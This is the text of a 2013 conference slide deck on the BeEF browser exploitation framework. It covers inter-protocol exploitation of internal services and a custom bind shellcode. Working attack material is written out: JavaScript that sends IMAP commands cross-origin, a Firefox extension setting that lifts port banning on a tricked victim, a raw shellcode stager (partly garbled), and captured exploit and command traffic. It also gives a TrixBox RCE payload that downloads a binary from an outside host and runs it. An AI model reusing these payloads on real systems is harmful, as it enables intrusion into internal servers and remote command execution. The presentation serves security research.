Rooting your internals: custom shellcode, BeEF and Inter-protocol exploitation

antisnatchor
HackPra AllStars 2013
About myself

• Co-author of **Browser Hacker’s Handbook** (now on pre-order from Amazon.co.uk, available February/March 2014)
• BeEF lead core developer
• Application Security researcher
• Ruby, Javascript, OpenBSD and BlackMetal fan
About The Talk

• Current situation and traditional browser attack vectors
• BeEF and Inter-Protocol Exploitation
• The BeEF Bind shellcode
• How the shellcode delivery and exploitation works
• Demo fun, current limitations and...
Current situation

traditional browser attack vectors

- Aimed at compromise the browser itself, or plugins
- Sandboxes and exploit mitigation techniques make our life difficult
- 0-day browser exploits are extremely expensive
Is the victim's web browser patched?

Do you have $100k to spend on a single 0-day (weaponized) browser exploit?

How many times can you re-use your 0day for targeted attacks before it will be detected, reversed and patched?

How many useful browser exploits are available?
Current situation

Browser plugin exploitation

- Is the plugin patched or vulnerable?
- How reliable are the plugin exploits?
- Most recent browsers don’t leak anymore exact plugin info (except for Firefox, thanks Mozilla)
- Java-based exploits (also for ROP chains) require user-intervention on many current browsers (i.e. Chrome)
- From Java 7 even unsigned applets require explicit user intervention to run! (see Immunity bypass - now patched)
Current situation
Cross Site Scripting

- Mis-understood, not patched, found in 90% of application pentests
- Full DOM manipulation
- SOP restrictions, additional HTTP headers restrictions, CSP
- In fact, alert(1) is the mostly used attack vector
- Oh, wait sorry, also stealing cookies...
Current situation
traditional browser attack vectors

Internal server vulnerabilities are sitting there bored and lonely...
Imagine a framework like Metasploit, but for browser-based attacks.

Powerful platform for Client-side pwnage, XSS post-exploitation and generally victim browser security context abuse.

The framework allows the penetration tester to select specific modules (in real-time) to target each browser, and therefore each context.
Through a simple XSS or Phishing page, with BeEF we can hook victim browsers and control them entirely with Javascript.

No more alert(1) crap.

AntiVirus? Fuck that, it’s not going to detect BeEF.

Features like ManInTheBrowser, Tunneling Proxy and remote exploits are all implemented in (relatively) simple Javascript.

The scary BeEF
changing browser attack vectors
Idea flow
read top to bottom

Michele:
Awesome, let me do some research and let's port it to BeEF

Wade:
My IPEC research was cool, we should research further

Ty:
I developed a new staging shellcode that acts like a WebServer

Michele:
Awesome, let me do some research and let's port it to BeEF
Revitalizing IPEC
Inter-Protocol Exploitation

- Back in 2006/2007 Wade Alcorn researched what he called Inter-Protocol exploitation

- Exploit ‘tolerant’ protocol implementations, which do not drop the client connection after N errors

- A properly encoded POST request can be sent to the target:
  - HTTP request headers are parsed as BAD COMMANDS
  - HTTP request body is parsed as VALID COMMANDS
  - HTTP request body also contains shellcode. FUN STARTS
Revitalizing IPEC
Inter-Protocol Exploitation: IMAP

var server = '172.16.37.151';
var port = '143';
var commands = 'a01 login root password\na002 logout';

var target = "http:" + server + " :" + port + "/abc.html";
var iframe = beef.dom.createInvisibleIframe();

var form = document.createElement('form');
form.setAttribute('name', 'data');
form.setAttribute('action', target);
form.setAttribute('method', 'post');
form.setAttribute('enctype', 'text/plain');

var input = document.createElement('input');
input.setAttribute('id', 'data1')
input.setAttribute('name', 'data1')
input.setAttribute('type', 'hidden');
input.setAttribute('value', commands);
form.appendChild(input);

iframe.contentWindow.document.body.appendChild(form);
form.submit();

>>> POST /abc.html HTTP/1.1
Host: 172.16.37.151:143
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: text/plain
Content-Length: 44

data1=a01 login root password

>>> 002 logout
<<< POST BAD command "/abc.html" unrecognized or not valid in the current state
<<< Host: BAD command "172.16.37.151:143" unrecognized or not valid in the current state
<<< Accept: BAD command "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" unrecognized or not valid in the current state
<<< Accept-Encoding: BAD command "gzip," unrecognized or not valid in the current state
<<< DNT: BAD command "1" unrecognized or not valid in the current state
<<< Content-Type: BAD command "text/plain" unrecognized or not valid in the current state

>>> data1=a01 LOGIN root ********
<<< data1=001 NO LOGIN root username/password incorrect
<<< * BYE IMAP4 Server logging out
002 OK LOGIN completed
Revitalizing IPEC
Inter-Protocol Exploitation: limitations

- Limitations:
  - SOP and cross-domain restrictions
  - Port Banning (damn you!)
  - HTTP Headers size
  - HTTP Content-Type settings
  - After exploitation, back to normal out-of-browser shells? NOPE :D
Revitalizing IPEC
Inter-Protocol Exploitation: solution 1

- Limitations:
  - SOP and cross-domain restrictions
  - PortBanning
  - HTTP Headers size
  - HTTP Content-Type settings
  - After exploitation, back to normal out-of-browser shells?

On all browsers (except Opera) we can ‘blindly’ send data cross-origin with XHR, without the need to read HTTP responses.

This is (usually) enough to pwn services.
Revitalizing IPEC
Inter-Protocol Exploitation: solution 2

Limitations:

- SOP and cross-domain restrictions
- PortBanning
- HTTP Headers size
- HTTP Content-Type settings
- After exploitation, back to normal out-of-browser shells?

http://xyz.com:143/

FF: NS_ERROR_PORT_ACCESS_NOT_ALLOWED

Connection to various known port (22/25/143/993/995/etc..) denied.

On Firefox, an extension can override config options:
• Limitations:
  • SOP and cross-domain restrictions
  • PortBanning
  • HTTP Headers size
  • HTTP Content-Type settings
  • After exploitation, back to normal out-of-browser shells?

Revitalizing IPEC
Inter-Protocol Exploitation: solution 2

Trick the victim to install a backdoor’ed Firefox extension. The `pref.js` file of the extension contains:

```javascript
// PortBanning override
pref("network.security.ports.banned.override", "20,21,22,25,110,143");
```
Revitalizing IPEC

Inter-Protocol Exploitation: solution 2

Only about 60 TCP ports are prohibited by Port Banning -> 65465 are allowed :D

- 220 - imap3 (only IE blocks it :-)
- 6667 - IRC (Firefox/IE only)
- 9100 - jetdirect
- 10000 - ExtraNET
- you name it: HP OpenView, Java RMI stuff, etc..

Limitations:

- SOP and cross-domain restrictions
- PortBanning
- HTTP Headers size
- HTTP Content-Type settings
- After exploitation, back to normal out-of-browser shells?
Revitalizing IPEC
Inter-Protocol Exploitation: solution 3

- Limitations:
  - SOP and cross-domain restrictions
  - PortBanning
  - HTTP Headers size
  - HTTP Content-Type settings
  - After exploitation, back to normal out-of-browser shells?

Lots of HTTP headers are automatically created by the browser (around 400 bytes). Most of them cannot be overridden, and cross-domain they are even bigger.

We can override some of them:
```
xhr.open("POST", uri, true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.setRequestHeader(‘Accept’, ‘*/*’);
xhr.setRequestHeader("Accept-Language", "en");
```
Revitalizing IPEC
Inter-Protocol Exploitation: solution 3

Limitations:

• SOP and cross-domain restrictions
• PortBanning
• HTTP Headers size
• HTTP Content-Type settings
• After exploitation, back to normal out-of-browser shells?

We can save other 100 bytes overriding the UserAgent through the Firefox extension:

```
pref("general.useragent.override", "Firefox/15.0.1");
```
Revitalizing IPEC

Inter-Protocol Exploitation: solution 4

• Limitations:
  • SOP and cross-domain restrictions
  • PortBanning
  • HTTP Headers size
  • HTTP Content-Type settings

The original IPEC paper was using:

Content-Type: multipart/form-data;

Our approach uses, to save space:

Content-Type: text/plain;

• After exploitation, back to normal out-of-browser shells?
Revitalizing IPEC

Inter-Protocol Exploitation: solution 5

- Limitations:
  - SOP and cross-domain restrictions
  - PortBanning
  - HTTP Headers size
  - HTTP Content-Type settings
  - After exploitation, back to normal out-of-browser shells?

Not anymore, thanks to the BeEF Bind shellcode.

You have a bind shellcode which can be totally controlled through an hooked browser sitting in the same victim internal network.
High Level Architecture
from FF extension to command execution

1. Trick the user to install a Firefox extension that disables PortBanning

Hooked Browser
High Level Architecture
from FF extension to command execution

1. Trick the user to install a Firefox extension that disables PortBanning

2. Javascript Port Scanning on internal network (port 143)

Hooked Browser
High Level Architecture
from FF extension to command execution

1. Trick the user to install a Firefox extension that disables PortBanning
2. Javascript Port Scanning on internal network (port 143)
3. 'Blindly' send stager

Hooked Browser

WorldMail IMAP 3.0
High Level Architecture
from FF extension to command execution

1. Trick the user to install a Firefox extension that disables PortBanning
2. Javascript Port Scanning on internal network (port 143)
3. ‘Blindly’ send stager
4. Send stage
5. WorldMail IMAP 3.0
   Port 4444
   LISTENING
High Level Architecture
from FF extension to command execution

1. Trick the user to install a Firefox extension that disables PortBanning
2. Javascript Port Scanning on internal network (port 143)
3. 'Blindly' send stager
4. Send stage
5. Port 4444 LISTENING
6. Send commands to the BeEF Bind shellcode
   - POST / HTTP/1.1
   - HOST: target
   - cmd=netstat -na
7. No direct communication between BeEF and the target. The hooked browser is a proxy.
BeEF Bind shellcode

how it works

- Ty Miller created a new staging Windows shellcode, which we called BeEF Bind
- He was bored of reverse shells :D
- stager -> 299 bytes (326 after bad-char encoding)
- stage -> 792 bytes
- The stager sets up a bind port on 4444/TCP to accept an HTTP POST request containing the raw stage in a parameter called ‘cmd’.

var stager =
"\xba\x6a\x99\xf8\x25\xd9\xcc\xd9\x74\xf4\x5e\x31\xc9" +
"\xb1\x4b\x83\x6c\x04\x93\x56\x11\x03\x56\x11\x1e\x21\x9f\xf65" +
"\x10\x10\x15\x96\x1e\x1c\x6d\x61\x73\x0d\x0d\x8c\xf0\x41\xd2" +
"\x7c\x55\x6a\x99\x85\x81\x4d\x8f\x9e\x01\x1e\x4a\x45\x77\x4c" +
"\x4b\x6b\xb7\x02\x8f\xed\x4b\x59\x6c\x6d\x72\x92\x1f\x1f\x0f" +
"\xb3\xcfx\xda\x5d\x6c\x9b\x49\x72\x1f\x9d\x51\x5c\xc9\x55" +
"\xe9\x10\x86\x5a\xe1\x73\xf0\x0f\xb8\xb4\x24\x99" +
"\x9b\x13\xe8\x9f\xe7\x5a\x85\xac\x9c\x5e\x4f\x03\x5d\x66" +
"\xaf\xc8\x60\x5f\x22\x10\x5a\x58\xd6\x71\xd6\xa9\x0f\x70" +
"\x26\x1e\x1c\x6d\x64\x34\xad\x1f\xe7\x21\x99\x28\x51\x78" +
"\x56\x3e\x1c\x9c\x69\x93\x6c\x9e\x2e\x12\xc8\x28\x80\x30" +
"\xb8\x70\x62\x58\x99\x6c\x51\x65\x9f\xb9\xb1\xc3\x72\x2b" +
"\x8e\x72\x9d\x24\x03\x1f\x9e\x1b\x40\x0b\xda\x92\x1f\x70" +
"\xe3\xc0\x5d\x5f\xf0\x6c\x77\x72\x27\x53\x31\x78\x58\x7a\xf0" +
"\x2c\x08\x14\x1d\lx\xc4\x3c\x3e\x4e\x98\x44\xb4\xb7\x73\x1f" +
"\x64\x31\x1c\x23\xd6\xe6\xe6\xc3\x89\x1f\x44\x3d\xb6\x6c" +
"\x52\x22\x48\x04\xda\x8f\x6e\x9e\x96\x1e\x9d\x79\x00\xc9\x7d" +
"\xb2\x8a\x8e\x2e\x08\xe6\x61\xb9\x90\x04\xe6\xb6\x6e\x6c\x94\x2d\x95" +
"\x6b\x3c\x3a\x5e\x6e\x60\x9f\xd4\x70\xad\xc9\x91\x81\x7x\xb3\x38" +
"\xe0\x96\x3c\x11\x1f\x58\x3d\x9a\xb5\x33\x3c\x93\xc9\x6e\x6a\x99" +
"\x13\x86\xf5\x00\x8a\x47\xb3\x9f\x07\x1e\x0f\x9f\x35\x8a\x21\x51" +
"\x9e\xc0\x46\x8b\x8e\x81\x4e\xb8\xf6\xb6\x18\x80\x97\xb8\x8b" +
"\x3f\x4d\x47\x1f\x51\x6f\x03\x23\x57\x1b\x80\x0d\x8c\x4c\x16\x5d" +
"\x37\x9e\x96\x26\x84;
BeEF Bind shellcode
how it works

- The stage sets up a bind port on 4444/TCP to accept HTTP POST requests from the web browser.

- Set of pipes to redirect the cmd.exe input and output. This allows to jump in the middle of the HTTP request and the cmd.exe process to implement the web server style functionality.

- The command result output is returned with the Access-Control-Allow-Origin: * header. After the stage is deployed, SOP is not a problem anymore.

```javascript
var stage_allow_origin =
        ";" +
            ";";
```
BeEF Bind shellcode delivery and usage from within BeEF

- Shellcode is binary data

- Stager and Stage are delivered with XMLHttpRequest.sendAsBinary

- For Webkit browsers that don’t support sendAsBinary, prototype overriding on XHR object.

```javascript
if (!XMLHttpRequest.prototype.sendAsBinary) {
    XMLHttpRequest.prototype.sendAsBinary = function (sData) {
        var nBytes = sData.length, ui8Data = new Uint8Array(nBytes);
        for (var nIdx = 0; nIdx < nBytes; nIdx++) {
            ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;
        }
        this.send(ui8Data);
    }
}
```
We cannot know in advance the exact size of HTTP headers.

A dummy cross-domain XHR request is sent back to BeEF, exact size of headers is calculated, and exploit junk is adjusted accordingly.

Like in all exploits, 1 byte error is enough to have a not-working exploit.

With this approach, errors are minimized and the exploit becomes reliable.
BeEF Bind shellcode
delivery and usage from within BeEF

• Typical SEH exploit with EggHunter, non-IPEC:

  commands + junk + shellcode + next_seh + seh + egg_hunter

• Typical SEH exploit with EggHunter, IPEC:

  HTTP_headers + commands + (less)junk + shellcode + next_seh + seh + egg_hunter
BeEF Bind shellcode delivery and usage from within BeEF

Immunity DBG view: IMAP process memory when sending the stager
BeEF Bind shellcode delivery and usage from within BeEF

Wireshark view: exploit with shellcode stager

* OK worldMail IMAP4 Server 6.1.19.0 ready
POST / HTTP/1.1
Host: 172.16.67.135:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: text/plain
Referer: http://172.16.67.1:3000/demos/basic.html
Content-Length: 410
Origin: http://172.16.67.1:3000
Pragma: no-cache
Cache-Control: no-cache

a001 LIST {}

Wireshark view: command delivery and results

POST / HTTP/1.1
Host: 172.16.67.135:4444
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:15.0) Gecko/20100101 Firefox/15.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*
Accept-Language: en-us, en; q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: text/plain; charset=UTF-8
Referer: http://172.16.67.1:3000/demos/basic.html
Content-Length: 17
Origin: http://172.16.67.1:3000
Pragma: no-cache
Cache-Control: no-cache

`cmd=netstat -na
HTTP/1.1 200 OK
Content-type: text/html
Access-Control-Allow-origin: *
Content-Length: 3016
netstat -na`
BeEF Bind shellcode
delivery and usage from within BeEF

Ultimate fun.
BeEF IPEC shell (JS)
Demo fun
from phishing to internal IMAP server compromise
BeEF Bind shellcode
delivery and usage from within BeEF

- Bart Leppens ported the Win32 BeEF Bind shellcode to Linux
- Great to be used as shellcode for normal Linux exploits
- Great to be used as a binary with any Remote Command Execution
- TrixBox <= 2.6.1 pre-auth RCE example with BeEF Bind Linux

- Exploit here (through normal sockets, not from the browsers):
  http://www.exploit-db.com/exploits/6026/
BeEF Bind shellcode
delivery and usage from within BeEF

- Identify TrixBox in the hooked browser internal network (BeEF “internal_network_fingerprinting” module)

- Get the current PHPSESSID, needed to trigger the malicious PHP code that will be leaving in PHP’s $_SESSION object

- The attack vector downloads the BeEF Bind shellcode stager and executes it

- Last step is send to the stager bind port the Stage contents

- You’re now ready to send commands and get results from the hooked browser

```javascript
var cmd = btoa("/usr/bin/wget -O /tmp/BeEF_bind " + "http://browsercrawler.com/BeEF_bind " + "&& /bin/chmod +x /tmp/BeEF_bind && " + "/tmp/BeEF_bind > /dev/null 2>&1 & echo $!");

// POST body. The previous command is decoded from base64
// and then executed with PHP's exec
var body = "langChoice=<?php exec(base64_decode(" + cmd + "));?>&%00";
var xhr = new XMLHttpRequest();
xhr.open("POST", uri, true);
```
Demo fun

TrixBox RCE exploitation from the browser
Thanks

• Wade and the other BeEF guys
• Ty and Bart for their awesome shellcodes
• Mario and the other awesome speakers

• If you want to support BeEF, buy our book. 50% of royalties will be used exclusively for the BeEF project (no joke)!
  • http://www.amazon.co.uk/Browser-Hackers-Handbook-Wade-Alcorn/dp/1118662091/
Questions?